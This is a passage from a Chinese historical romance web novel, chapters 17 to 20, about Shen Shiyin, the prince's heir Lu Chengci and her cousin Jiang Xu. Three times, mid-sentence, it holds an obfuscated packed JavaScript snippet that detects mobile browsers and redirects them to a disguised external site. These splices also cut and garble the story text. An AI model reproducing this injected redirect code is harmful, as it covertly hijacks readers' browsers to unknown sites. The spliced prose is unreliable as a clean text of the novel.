他这是要送她耳坠吗?怎么只送一只?并且,这只还那么的熟悉。 她好像有过一模一样的。 17. 第 17 章 陆呈辞不愿将两年前那桩荒唐事告诉沈识因,因为那并不是什么美好的回忆。 两年前她被人下药之事,他暗中查访许久,却始终毫无头绪,至今仍不知究竟是谁在背后害她。 他曾疑心是她祖父在外的仇家所为,甚至悄悄去她姨母家中探查过,却一无所获。 所有线索皆表明,当初她暂居姨母家中那段时日,过得极为顺遂欢欣,姨母全家待她亲切周到,瞧不出半分异常。 因不愿教她的隐私暴露于人前,他不敢大张旗鼓地查探,只得在暗地里细细摸索,可惜至今仍无进展。 昔日寺中相遇时,她曾言若有难处,可持此耳坠去寻她,他一直谨记于心。如今归还耳坠,是希望换取一些可以让他扫平一切障碍的时间。 时下她懵懂地望着他,他不由轻笑:“这一只你先收好,日后我自会告诉你原委。” 沈识因依旧茫然,他果然是要赠予她的,只是哪有赠一只的? 她微微蹙眉,仍是不解,犹豫片刻还是轻声问道:“这耳坠的样式……瞧着似是旧时的。你是在何处买的?” 他回道:“不是买的,样式也不算时新,但是意义非凡。我现在替你戴上可好?” 沈识因觉得有些奇异,这耳坠的模样莫名熟悉,教她无端生出几分欢喜。她微微晃神,尚未应答,陆呈辞已俯身靠近。 他低头,小心翼翼将她耳上原本的那只取下,放在她掌心,又将另一只为她戴上。他的动作轻柔,温热气息拂过她的耳畔,激起一阵细微战栗。她不自觉攥紧了袖口,眼睫轻颤,连呼吸都放轻了。 这样,好像太暧昧了。 他为她戴好耳坠,却未立即退开,不自觉地凝望着她。恍惚间,仿佛又见两年前——那时他也曾这般近地望着她,甚至将她拥入怀中。她双颊泛红、眼波湿润的模样,他至今记忆犹新。 他喉结不自觉地滚动了一下,终是忍不住伸出手,轻轻捏住她的下巴,将她的脸转向自己。 沈识因被他突如其来的举动惊住,猝不及防地对上他直白的目光,不由吸了口气,心跳骤然急促。 这是他们第二次靠得这样近。他手指力道并不重,却带着一种不容挣脱的意味。指腹传来的温热让她心尖微颤,一时竟忘了躲开,只怔怔地望着他。 他看着她的眼睛里仿佛盛着流转的星河,眸光深处还漾着能将人吸入的幽深色泽。 这眼神……她莫名觉得熟悉。就连他拂过她耳畔的呼吸,也带着一种说不出的、令人心悸的熟悉。 她心底一片慌乱,那些炽热而纠缠的画面不受控制地翻涌而上——难道梦中那个人……就是他?就是陆呈辞? 怎么会是他? 她几乎疑心自己是否生了癔症,否则怎会将这张脸,嵌进那些不敢回想、却又挥之不去的梦境里。 恍惚间,她脱口问道:“陆呈辞……我们之前一定认识,对不对?你告诉我,好不好?” 她眼中带着恳求,又像藏着一丝不安的期待:“我几乎要想破了脑袋,却怎么也想不起来……可我真的想知道。” 这已不是她第一次这样问他。上一次问时,他没有回答;而这一次,他依旧没有立刻回应,只是深深地凝视着她,指节微微用力,将她的脸又抬起几分。 他的目光落在那张嫣红的唇上,喉结微动,低头欲吻。 她这次反应极快,急忙偏头想躲,可他的手指牢牢扣着她的下颌,未能挣脱。 她心下一慌,还未及再作推拒,便被他一手揽紧腰身,一手托住后脑,径直拥入怀中。她慌乱后退,直至被他抵在身旁的竹竿上。 竹竿轻晃,叶声簌簌。 她蹙眉望向他,却见他眸光幽深,似蒙着一层氤氲雾霭,其间翻涌着滚烫的欲念,浓烈得令人不敢直视。 他……他莫不是疯了! 她猛然回神,一把将他推开,急急以手掩唇。 他见她慌乱的像只受惊的兔子,不禁笑了。 他竟还在笑?沈识因脸颊霎时烧得滚烫,又羞又恼地走上前,抬手就在他肩头狠狠掐了一下。 他疼得低嘶一声,连忙道:“疼……轻些,这儿还有旧伤。” 旧伤?她这才蓦然想起,他肩上还有剑伤。 “你的伤……还未好全吗?” “原本快要好了,被你这一掐,怕是又不好了。” 他说着便作势要撩开衣襟,她慌忙转身,头也不回地往回走。 他揉了揉肩膀,缓步跟在她身后。 他想去牵她的手,却被她躲开了。 秋风掠过竹梢,空气中弥漫着清冽的竹叶香气。也升腾着浓浓的、让双方都面红耳赤、难以抑制的暧昧气氛。 两个人一前一后地走着,谁都没再说话。 出了竹林,沈识因头也不回地登上马车。陆呈辞站在路口,看着马车渐行渐远,随后翻身上马,折返回去。 沈识因坐在马车里一路心神不宁,直至抵达外祖母家,颊边红晕仍未消退。外祖母连声关切询问她是否身子不适,还要请老大夫过来诊脉。 她尴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241249|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尬地推拒,满脑子都是陆呈辞险些吻下来的样子。 她在祖母家用过午饭后回了家,发现姨母一家全都来了。 姨母一见她,立即起身笑盈盈地迎上前:“因儿,许久不见,姨母可真想你!” 沈识因望着她,心中讶异。姨母家远在江南临水小镇易川,路途遥远,突然举家前来,难道有什么要紧事。 易川风光秀美,却土地贫瘠。小镇倚傍长江,多数人家世代以打渔为生,平日往来京城极为不便。 姨母本是家境优渥的闺秀,却甘愿为情放弃锦绣前程,随姨丈迁居至那偏远临江的小镇。 婚后二人育有两子:长子江絮,今年二十;小女江灵,年方十四。虽日子清贫,但一家四口相依相伴,日子倒也安稳和乐,自有一番平淡中的温暖。 姨丈是个勤恳淳朴的渔夫,为人踏实肯干,对妻儿极好,很有担当。姨母虽从富贵落入贫寒,却从未言悔。 这一家子皆生得面善心慈,相处起来格外亲切温暖。 尤其是姨丈,在镇上人缘极好。他原本是个读书人,当年为求功名苦读诗书,一心想要摆脱乡野贫寒。赴京赶考途中,与姨母相逢相识,彼此倾心。尽管最终未能中榜,却带回了这位愿与他共度一生的妻子。 姨丈相貌端正清秀,当年正是这份儒雅气度打动了姨母。他们的孩子也都生得格外好看,尤其是长子江絮,不但在镇上出了名的俊朗,更是继承了父亲的书卷气和母亲出身贵门的端庄仪态,在乡里显得格外出众,不少姑娘都对他暗自倾心。 江絮是个沉默少言却心地善良的人。当初她寄居在姨母家时,就属这位姨兄对她最为照顾,整日“妹妹、妹妹”地唤她,有什么好吃的、好玩的都先留给她,还常陪她一同读书认字。天气晴好时,更会带她去江边钓鱼。 只是他有一个颇为执拗的习惯,便是极不喜旁人进他的房间。 昔日她曾因好奇偷偷进去过一次,踏入之后便震惊不已——他房中堆满了各类书籍,还有许多风格独特的画作。那些画她虽看不太懂,却觉得诡谲的美丽。 后来因着她喜爱江南风景,长大后也去过姨母家一两回。最后一次去,正是两年前。 尽管有些记忆已渐模糊,但住在姨母家的点滴温暖,她却始终记得。 如今已有两年未见,此刻重逢,她心中不免激动。她轻声唤了句“姨母”,姨母高兴地应着,拉住她的手就往屋里走。 这时,一直安静坐在一旁的姨兄江絮站起身来,望着她轻轻唤了一声:“因因。” 18. 第 18 章 沈识因与江絮已有两年未见。上一回见他时,他才十八,还是个文雅阳光的小公子,每每看向她时眼中总含着笑意。 如今再度重逢,沈识因只觉他与从前有些不同了。他身量高了不少,气质也更见沉稳。许是自幼生长在江边的缘故,一双眸子竟似泛着淡淡的蓝,如湖水般漾着潋滟波光。只是那眼底深处,又隐约藏着些让她看不分明的神色。 他唤那声“因因”格外好听,嗓音较之从前低沉了许多,透着几分男子的磁性。 沈识因缓步走上前,轻轻唤了一声:“絮哥哥。” 江絮望着她,低低应了一声,随即伸出手欲与她交握。 沈识因目光掠过他递来的手,并未去接,只抬手将一缕鬓发拢至耳后,微微侧身轻声道:“絮哥哥,快请坐罢。” 江絮见她避开,手指微微一僵,缓缓收回,目光却不由自主地落在她耳畔。今日她戴了一对不一样的耳坠,一只是如水珠般莹润的绿豆式样,另一只却是小巧圆润的珍珠。他望着那枚珍珠耳坠默然片刻,复又坐下。 沈识因扶着姨母入座,然后坐到了母亲一旁。 母亲姚舒含笑道:“你絮哥哥今秋过了乡试,明年春日便要进京参加会试。如今举家暂迁京城,好让他安心备考,盼着能金榜题名。” 姨母连忙接话道:“正是呢。我们那镇子多年都未出过秀才举人,能过乡试的更是凤毛麟角。絮儿能有今日着实不易。想着镇上诸事不便,索性举家来京住上半年。” 她说着走到一旁几个竹筐前,介绍道:“因儿瞧,这些都是姨母从镇上带来的吃食。小鱼干是姨母亲手晒的,还有当地产的甜果子和农家点心。姨母记得你从前最爱这些。” 沈识因闻言急忙起身走近,见那满筐的土产,心中又欢喜又感动。这些物什在京城富贵人家眼里或许不算什么,可在那样的小镇上,却能抵得上好些时日的口粮。 姨母讪讪笑道:“不知因儿如今可还喜欢这些?姨母没什么好东西给你,只能带这些土仪来了。” 姨母说话间神情略显局促,显然因两家门第悬殊而心生怯意。 想当年姨母也是官家千金,衣食用度何曾逊色半分,如今却被岁月磋磨得容颜沧桑,连气质都透着小门小户的畏缩模样。 太师府一处别院便抵得过他们整个家业,连下人的穿戴都比他们体面。这般云泥之别,教曾经金尊玉贵的人儿如何能不在意? 虽说外祖家时常接济,终究不能管顾一世,日子终归要自家熬炼。 沈识因望着姨母泛红的眼眶,连忙握住她粗糙的手,温声道:“姨母说的哪里话,我欢喜还来不及呢。这些心意都是京城里千金难买的,因儿感激都来不及。” 姨母听闻这话这才松了口气,拉过身旁的江灵道:“这丫头听说要来京城,一路上都雀跃不已,整日念叨着要见因姐姐。如今既来了,正好让你们姐妹多聚聚。她也到了该学规矩的年纪,还望因儿多教导教导。” 沈识因转眸看向江灵,只见小丫头两年不见出落得越发标致,眉眼间透着恬静之气,俨然是个亭亭玉立的小姑娘了。 沈识因含笑道:“我正愁平日无人作伴呢,如今妹妹来了可真好。” 姨母看了眼父亲沈智,小心翼翼地道:“我原想着在京城另寻处住所,可姐姐执意要留我们住后院的厢房。这般叨扰,实在过意不去。姐夫和意林平日那般忙碌,我们怎好添乱。” 沈识因抬眼望了望母亲,见母亲笑道:“一家人何须见外?往日因儿不也常去你们家小住吗?” 父亲沈智颔首接话:“在外赁居不如住在自家宅院,正好让意林好生指点絮儿功课。既然立志要出人头地,便该竭尽全力搏个前程。至少到了絮儿这辈,总要走出那个小镇子。” 沈智最后这话虽直白,却字字在理。穷困一世尚可勉强度日,若世代困守在那方寸之地,终究不是长远之计。 姨母连忙应声道:“姐夫说得是。此番我们横下心前来,就是盼着絮儿能搏个好前程。” 江絮上前躬身行礼:“姨丈放心,絮儿定当勤勉攻读,绝不辜负您的期望。” 沈智见一家人都明事理,又风尘仆仆远道而来,起身道:“让管家将院落收拾出来,好生安置,再备席面接风洗尘。朝中尚有要务,我先失陪了。” 姨母一家连忙躬身行礼:“多谢姐夫收留,实在叨扰了。您且先去忙正事。” 沈智颔首回礼后出了房间。 姨母望着门外轻声问道:“姐姐,怎么不见书媛?许久未见,心里惦记得紧。” 母亲回道:“书媛前些日子染了风寒,正在屋里将养着。待她好些再让她来见你们。” 姨母面露忧色:“可要紧?要不我去瞧瞧?” “不必劳神,只是小恙,避风休养便好。” 母亲说着便引路往后院去:“我先带你们去安顿下来,好生歇歇脚。” 姨母连声应好。 母亲唤来小厮帮着搬运行李,看着自家妹妹那身粗布衣裳和饱经风霜的面容,心头阵阵发酸,一路都沉默不语。 姨丈是老实木讷的性子,亦不多言。江絮素来寡言,唯有江灵偶尔与沈识因说上几句。 小丫头初到京城,头一回见识这般气派的宅院,满眼都是新奇。沈识因紧紧握着她的手,细细为她讲解园中的景致布置。 小院在后院西侧,虽久无人居,却收拾得窗明几净。管家唤来的嬷嬷们正忙着更换崭新的锦被绣褥。 母亲仔细安排好房间:主屋留给姨母姨丈,两侧厢房分别安置江絮与江灵。待一切安顿妥当,她便往厨房打点膳食去了。 沈识因则与江絮和江灵围坐在石桌旁叙话。她细心剥了个橘子,先递给江灵,又取了一个递给江絮。 江絮接过橘子,抬眼看了看她,轻声道:“多谢。” 沈识因抿唇一笑:“絮哥哥何必客气?记得往日住在你家时,可都是你剥橘子给我吃的。” 在沈识因心里,这位姨兄始终如亲兄长般温厚。 江絮凝视着她含笑的眉眼,低声呢喃:“这些琐事……你都还记得。” “自然记得。”沈识因颔首,“那时最爱去你家小住,还能乘着小船在河上嬉戏。” 江絮看着她,没做声,将橘子轻轻搁在石桌上。 江灵吃着橘子,歪着头好奇道:“因因姐,你怎的戴了两只不一样的耳坠?莫非京城如今盛行这般打扮?” 耳坠?沈识因这才恍然想起,今日在竹林中,陆呈辞赠她的那只珍珠耳坠,现在还戴在耳上。 江灵又凑近些细看,惊喜道:“姐姐,这只珍珠耳坠好生眼熟,仿佛从前在我家时见你戴过。那时你还说要送与我,我觉得太过贵重便推辞了。没想到姐姐还留着。” 在江灵眼中,像沈识因这般贵族家的千金,发饰首饰应该数不胜数,怎么还会戴两年前的东西。 沈识因闻言蓦地一怔,忙追问:“妹妹当真见过?可确定是同一只?” 江灵肯定地点头:“自然确定。因着你当时执意要赠我,我印象格外深刻。” 沈识因转眸望向江絮,江絮看了她一眼没说话。 她笑了声:“今日出门匆忙,随手拈来戴上的,倒没留心这些。” 她说着便岔开话头,说起小镇往日的趣事。 三人说了一会话,待江灵被姨母唤去后,沈识因正欲告辞,却被江絮叫住。 二人站在院中,江絮踌躇好一会,低声问道:“听闻……你即将与人定亲,可是真的?” 沈识因讶然看他:“絮哥哥从何处听来的?” “今日进城采买时,在铺子里听人议论。说是当今探花郎……还是太保府的嫡长子。” 沈识因未料他初至京城便听闻此事,回道:“还在商议中,我想着待到明年春日再说,可夙阳哥哥盼着能早些定下。” “夙阳哥哥……”江絮低喃一声,“你是真心喜欢他?还是因着他探花郎的身份?” 探花郎的身份? 沈识因没料到他问得这般直白,话中透着令人不适的意味。她拢了下秀眉道:“絮哥哥不知,我与夙阳哥哥自幼一同长大,彼此甚是了解。两家议亲并非只因门第相配,况且以我的家世,原也不必为着这些世俗之物择婿。” 不是为了身份…… “那便是真心喜欢了。”江絮轻声道。 沈识因没说话。虽说是自家姨兄,但她也不愿与他谈论这般私密之事。她浅笑一声道:“絮哥哥舟车劳顿,好生歇息罢。我去瞧瞧膳席准备得如何了。” 她说罢,不待江絮回应就离开了。 江絮立在原地望着她渐行渐远的背影,低头看了看身上那件半旧的青衫,默然回到房中。 他从行囊中取出那件始终舍不得穿的月白锦袍。这是他所有衣衫中最体面的一件。更衣后,他又将在家中为沈识因精心雕琢的竹蜻蜓从木匣中取出,小心纳入袖中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248230|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她应该不会嫌弃的。 —— 陆呈辞忙至傍晚回到亲王府,甫踏入院门,管家便迎上来说父亲找他。 他去了父亲的书房,父亲见他进来,当即摔出一封书信,冷声道:“你办的好事!不与为父商议便私自插手月洞湖之事,结果激怒了陆陵王,烧了运河粮仓。运河粮仓那是什么地方?是我们整个亲王府的后盾。这其中关系重大。你可知为父从那几个老臣手里搞来特权废了多大的功夫,结果,被陆陵王一把火烧了,皇帝下令重新整顿,里里外外的人全都换完了。” 父亲说到这里,猛地拍了一下桌子:“你说,你要怎么负这个责任?” 父亲显然是真动怒了,气得语音都在抖。 陆呈辞垂首不语。此事确是他思虑不周,未曾料到陆陵王竟会狗急跳墙至此。 陆亲王见他沉默,冷笑一声:“怎么?在亲王府待了两年,便觉得翅膀硬了?为父寻你回来是助我一臂之力,岂容你随心所欲胡作非为。今日你且说说,究竟为何要插手陆陵王的事?” 陆呈辞垂首静立,听着父亲厉声训斥:“陆陵王为扳倒沈太师苦心经营多年,好不容易寻得时机下手,竟被你一手搅黄。沈太师那老狐狸屹立朝堂数十载,只要他一日不倒,皇上麾下那些重臣便不会真心归顺。若再让太师府与太保府联姻,莫说陆陵王难以攻入皇城,便是我们也要举步维艰。” 这些朝堂局势陆呈辞何尝不知。他沉默片刻方道:“父亲教诲的是,此事确是儿臣思虑不周。然儿臣尚有一计可弥补。儿臣已探得后日陆陵王长子陆赫途留西野,儿臣欲亲自带人将其擒获。若得此人质,日后对付陆陵王便易如反掌。” 陆亲王闻言仔细打量他:“如此说来,你从一开始就打算对陆陵王下手?可知此举会打乱为父精心布下的棋局?唯有让陆陵王与皇上两败俱伤,我们方能坐收渔利。此时若先除去陆陵王,于我们百害而无一利。” 陆呈辞沉声道:“父亲,坐观两虎相争虽能获利,然时机稍纵即逝。陆陵王既敢火烧运河粮仓,想必已掌握亲王府不少机密。此人心狠手辣,若他与皇上联手反咬我们一口,届时悔之晚矣。不如先发制人,速战速决。” “除掉陆陵王?”亲王眉头紧锁,“谈何容易!” “父亲可信儿臣,半年之内,儿臣必取他首级。” “半年?”亲王面露惊诧,“你好大的口气。” 他沉吟一会又道:“此事容为父细细思量,你且退下。” 陆呈辞躬身行礼:“孩儿告退。” 陆呈辞并未多劝,因为他已经做好了计划,明日便启程擒拿陆赫。至于父亲的态度,他从不奢望能得到认同。 分离六载,想必父子之情早已掺入太多复杂算计。比起他这个流落在外多年方才归家的嫡子,父亲更偏爱自幼养在身边的庶子。 这些时日交予他的权柄与任务,与其说是舐犊情深,不如说是在打磨一柄趁手的利器。 但他也不在意,因为路从来都是自己一步步走出来的,绝不可完全倚仗旁人。 他从父亲房间出来就回了自己院里,到了屋中,从袖中掏出一片泛黄的竹叶放在桌子上,脱掉外衣,取了件寝亦去洗漱。 等洗漱回来,他擦着湿漉漉的头发,坐在桌前,望着桌子上的那片竹叶不禁扬起了唇角。 今日在竹林时,他险些亲上了沈识因。他原以为他的接触会让她反感抵触,结果他却从她眼中看到了与自己一样的难以掩饰的悸动。 她好像对他是有点意思的。 想起她那时绯红的脸颊,他眼底笑意更深。两年光阴褪去了她不少稚气,愈发显得娴静动人。尤其是那娇艳欲滴的朱唇,宛若迷药般教人怦然心动,总忍不住想亲。 “世子。”岳秋推门而入,见他独坐案前含笑出神,不由一怔,脱口问道:“您去见沈姑娘了?” 陆呈辞回过神来,轻应一声。 岳秋见他眼尾泛红,连脖颈都透着薄红,心中不免惊讶。世子这是……害羞了?莫不是有更进一步的发展了? 陆呈辞抬手抚了抚面颊,问道:“何事?” 岳秋踌躇片刻,不确定现在说合不合适。 陆呈辞眸光微凝:“说。” 岳秋挠了挠头,道:“……属下打听到,许夙阳似乎与一个卖花女有染,那女子还怀了他的骨肉,如今就安置在太保府的偏院里。” “沈姑娘,好像并不知情。” 19. 第 19 章 陆呈辞闻言倏然皱眉,自两年前起,他便留意着许夙阳的一举一动,虽算不上对其彻底了解,但也了解个七八分。 许夙阳表面温润如玉、谦谦君子,实则内里缺乏担当,心思活络、算计颇多。不过对待沈识因却百般周到、万般体贴,俨然一副无可挑剔的兄长模样。 这样的人,往往于女子而言,最易心动。 这两年来,他也眼见着沈识因与许夙阳越发亲近。起初他不以为意,自以为无论沈识因心属何人、与谁相伴,他都不会在乎。可直到听闻她与许夙阳当真要成婚时,终是彻底坐不住了,开始胡思乱想,焦灼难安。 除却心中难以言喻的不适,他更觉得许夙阳并非良配。因为据他了解,许夙阳过于依从家中所指,自身缺乏主见,没有担当。 嫁给这般男子,婚后生活不会太美满,或许还会因为其懦弱以及家庭的介入发生很多问题和矛盾。 陆呈辞虽未成婚,也与其他女子接触不多,但是在外流浪的这些年,他对人生百态看得极其明白,对人性也有一定的参悟。 许夙阳能出这等事,虽然震惊,但也不奇怪。因为这类人最容易出错,伤人而不自知。 他默了片刻,沉声道:“具体说说。” 岳秋看了看他的神情,如实道:“听闻那日许夙阳与几位公子在酒楼饮酒,恰遇一位卖花女子。因买花之事二人有了交谈,后来便……发生了关系。如今许家那边似乎都已知晓,悄悄将女子安顿到了偏院里。只是,叫人想不明白的是,许家既然知道自家公子做了荒唐事,为何还要急着向沈家提亲?” 岳秋这些时日一直留意着沈许两家的动向,起初只觉得是寻常议亲,可自打听说了卖花女一事后,他便觉得此事透着蹊跷。 谁家闹出这般不堪之事,不急着收拾残局,反倒急着与别的姑娘议亲?除非,许夙阳这是妄图左右逢源,既要攀附沈家的门第,又不愿舍弃那点风流债。 陆呈辞蹙起眉头,沉吟片刻道:“你且仔细打探,这其中究竟有何隐情。另外,此事或许与东街命案有所牵连,去把卖花女的所有信息找来告诉我。” 陆呈辞近日因需全力处置其他要务,已将东街命案一事交托大理寺查办。大理寺连日彻查,其间亦传唤过许夙阳几回,然并未从中发觉异常。 关于从死者身上找出耳坠之事,因证据不足,也未敢贸然审问,毕竟许夙阳的父亲刚擢升太保之位,若查得太显山露水,恐要牵动朝堂。 岳秋恭声应道:“属下明白,这就去安排。” 岳秋出去后,陆呈辞本想看会儿书,却怎么也静不下心。他又尝试去榻上小憩,同样辗转难眠。最终,他索性起身,从衣柜中挑了一件精致的衣衫换上,出了亲王府。 夜风沁凉,陆呈辞策马直抵太师府。翻身下马,门官见了他先是一怔,随即慌忙行礼:“世子夤夜而至,有何要事?” 陆呈辞略一踌躇:“寻沈意林。” “原是寻二公子,”门官赔笑,“您快请进。” 陆呈辞径直入府,管家即刻迎上。他扫视庭院,见灯火通明,众人显未歇下。 他问管家:“二公子此刻在何处?” 管家回道:“回世子,二公子正在老爷书房中议事。” 陆呈辞微微颔首:“既是在商议正事,我便不打扰了。” 管家忙道:“世子不如先至花厅用茶,稍坐片刻?” 陆呈辞摆手道:“不必麻烦。夜色正好,我随意走走便是,你自去忙吧。” “是。”管家躬身应道,“世子若有吩咐,随时唤人便可。” 待管家离去,陆呈辞在原地驻足片刻,随即沿着回廊去了沈识因的院落。 沿途守夜的下人见了他皆是一惊,纷纷躬身行礼。早有机灵的小厮悄无声息地抄近路赶去正房报信。 陆呈辞行至沈识因院门前,守门的丫鬟见他来了急忙福身:“世子可是来寻三小姐的?” 陆呈辞有些不好意思,低声问道:“她……可是歇下了?” 丫鬟回道:“回世子,还没有,小姐此刻正在后花园呢,可要奴婢去请?” 陆呈辞忙道:“不必,我自去寻她。” 他说罢便转身朝后花园行去,晚风拂过园中,送来秋海棠若有似无的清香。 绕过花丛,远远望见凉亭中坐着三人。他缓步走近,借着亭中烛光,看清是沈识因与一对陌生男女。 男子模样俊秀,坐在她对面,正与她下棋。女子年纪尚小,托腮坐在一旁,不时掩口轻笑。 三人看似玩得正欢。 陆呈辞在凉亭外停下,旁观的少女抬眼望来,惊得倏然起身,轻轻扯了扯沈识因的衣袖。 沈识因回眸望来,见是陆呈辞,明显一怔,脱口问道:“你……怎么来了?” 深更半夜,她怎么也没想到陆呈辞会突然造访。 她对面的男子也随之起身,带着几分疑惑望向陆呈辞。 陆呈辞目光先掠过那陌生男子,而后看向沈识因,走上前道:“我过来寻你。” “寻我?”沈识因一时怔忡,正思忖着何等要事值得他深夜亲自前来,却见身旁的江絮已上前打量陆呈辞:“这位想必就是许夙阳许公子吧?你好,我是因因的姨兄,江絮。” 许夙阳? 陆呈辞闻言微蹙眉头看向他。沈识因忙解释道:“这位不是许夙阳,是亲王府世子陆呈辞。” 亲王府世子?江絮认错了人,周围气氛霎时有些尴尬。 陆呈辞细细端详江絮片刻,道:“江公子千里迢迢怎的到了京城?” 陆呈辞今日还想着沈识因住在姨母家的事,没想到她的姨兄突然出现在这里。 他突然这样问,沈识因与江絮俱是一怔,不明白他怎知江家远在千里之外? 江絮往沈识因跟前挪了一步,朝陆呈辞恭敬行礼道:“回世子,我是举家进京预备来年会试的,暂居在姨母府上。今日方到京城,此刻正与因因手谈一局。” 因因?? 陆呈辞听得他唤得这般亲昵,眸色微沉,转而看向沈识因。 沈识因望他一眼,道:“姨母姨丈一家都来了,母亲怕他们在外不便,便安排住在了后院。” 陆呈辞默然不语。他未曾料到沈识因的姨母一家竟举家前来,还住进了太师府。 他细细打量站在沈识因身旁的江絮,此人年过二十,眉目清秀,气质温文尔雅,倒也算得上一表人才。 他素来不喜与人寒暄,便不再多言,只对沈识因道:“我有事寻你,随我来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261153|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 沈识因虽不知他深夜前来所为何事,但想必是要紧事,便点头应下,转而向江絮与一旁的江灵道:“絮哥哥、灵妹妹先回去歇着吧,天色已晚,莫要着凉。” 江絮虽不识得陆呈辞,但观其气度非凡,身份尊贵,也不便多言。只是没想到,进京第一天就遇到了这般人物。 夜风渐起,深秋的凉意随风拂过,卷起几片落叶。 陆呈辞默然走在前面,沈识因跟在他身后,轻声问道:“这般深夜过来,可是有什么要紧事?” 陆呈辞没有作声,只引着她绕过那片秋海棠,来到小花圃前的长椅旁停下。 沈识因站在他跟前,仰头见他面色不豫,一时也不知该说什么好。 陆呈辞低眸看她,语气里带着几分酸意:“看来你与许夙阳交情匪浅,连你姨兄都知晓他,竟还将我错认成了他。” 沈识因不想他会因江絮认错人而不悦,抿了抿唇没回话,又问了一遍:“你今日寻我,究竟所为何事?” 这般深夜前来,总该有个缘由。 一阵风突然吹起,带来陆呈辞身上淡淡的清香。沈识因这才注意到他的墨发随意束着,似是刚沐浴完便匆匆出门。 既是沐浴过了,为何又突然过来? 究竟有什么要紧的事? 陆呈辞凝视她片刻,终是低声道:“睡不着,来看看你。” 看看她……大晚上。 沈识因没说话,脸颊渐渐红了。 陆呈辞看着她,语气沉了一些:“你那姨兄要住多久?” 沈识因如实回道:“约莫要到明年春闱之后,少说也要小半年光景。” 明年春天…… 小半年。 竟然这么久。 陆呈辞微蹙了下眉,走近她一步,微微俯身凝着她那双澄澈的眼眸,心里突然酸酸的。 沈识因望着他,忽然想起珍珠耳坠的事情。江灵说那只珍珠耳坠是她曾经戴过的,她也询问了近身的嬷嬷,嬷嬷也说那耳坠确实是她的。还说两年前她经常戴这副耳坠,后来突然丢了一只,就没再戴了,剩下那只也不知丢去了哪里。 所以,陆呈辞送给她的那只珍珠耳坠,可能原本就是她的。 只是,陆呈辞为何会有她两年前的东西? 陆呈辞见她直直望着自己发愣,许是在想事情,便又往她跟前倾了倾身,目光落在她微张的红唇上。 他总觉得自己最近得了什么病,又或是沈识因身上有什么勾人的迷药。每次见到她,总是莫名想要贴近,甚至越来越大胆,越来越过分。 此刻,在浮动的夜风里,他的思绪又凌乱了,再加上江絮把他认成许夙阳而心生醋意,竟不受控制地勾住她腰间的绣带,不容抗拒地将她扯到自己身前。 近距离凝着她娇艳的唇瓣,清声道:“我明日要离京几日,在此之前你要答应我一件事。” 他几乎紧贴着她。 他又是如此……总是一见面就往身上贴。 沈识因脸颊烧得通红通红,见他直直凝着自己的嘴唇,紧张地咬了下。 他……不会又想亲吧! 她撤了下身,没有撤开,风一吹,携着他身上的清香袭来,让她不由吸了口气,小声道:“你……你说。” 20. 第 20 章 “别应许夙阳的婚事,也离你那位姨兄远些。” 陆呈辞的指尖仍勾着她的绣带,不容她退却半分,话音落下时甚至又朝自己方向带了带。 沈识因被他扯得向前一步,额间险些触上他的下颌。她惊诧抬眸,觉得这人实在管得宽,却莫名生不出反驳的心思,只轻声问:“为何?” 陆呈辞并未立即答话。 她深深望进他眼中,却猝不及防撞见一片几乎要灼伤人的滚烫。 即便他缄默不言,那几乎破笼而出的汹涌情意早已昭然若揭。 那是她在许夙阳身上从未见过的、令她心尖发颤的神情。是一种只需对视,便能让四肢百骸都战栗起来的悸动。 他……莫非对她存了别样心思? 可这念头是何时滋生?他分明清楚两府之间的纠葛,为何偏要这般靠近? 沈识因心头一阵慌乱,冷静下来后却不敢再追问缘由,因为她怕他真的说出些什么,说出一些她既承受不起、也不知如何回应的心思。 陆呈辞见她眼神飘忽,藏着躲闪之意,不由微蹙眉头,伸手捧住她的脸颊,不容她避开。 沈识因被他修长的手指托住双颊,顿时怔住。 她的脸在他掌心显得格外小巧柔软,乌溜溜的眸子睁得圆圆的,一双手下意识抓住他的手腕。 因着身量差距,她不得不踮起脚尖,声若蚊呐地道:“你……快放开,这是在我家院里……” 这般亲昵的姿势实在羞人,她只觉得耳根都烧了起来。 可陆呈辞非但不松手,反而收紧了掌心,沉声道:“答应我。” 他的语气强势,根本不容商量。 沈识因望着他张了张唇,最终却什么也没说出口。她觉得这人当真反常得紧,而自己竟也跟着不正常。 往日里许夙阳稍近些她都心生抗拒,可此刻被陆呈辞这般捧着脸,她却丝毫没有挣脱的念头,甚至……甚至想应下他这过分的要求。 她肯定是疯了。 而他,简直是专来蛊惑她的魔障。 陆呈辞见她迟迟不答,拇指指腹不自觉地轻碾她的唇瓣。那温热柔软的触感让两人皆是一怔,彼此怦然的心跳声在寂静中清晰可闻。 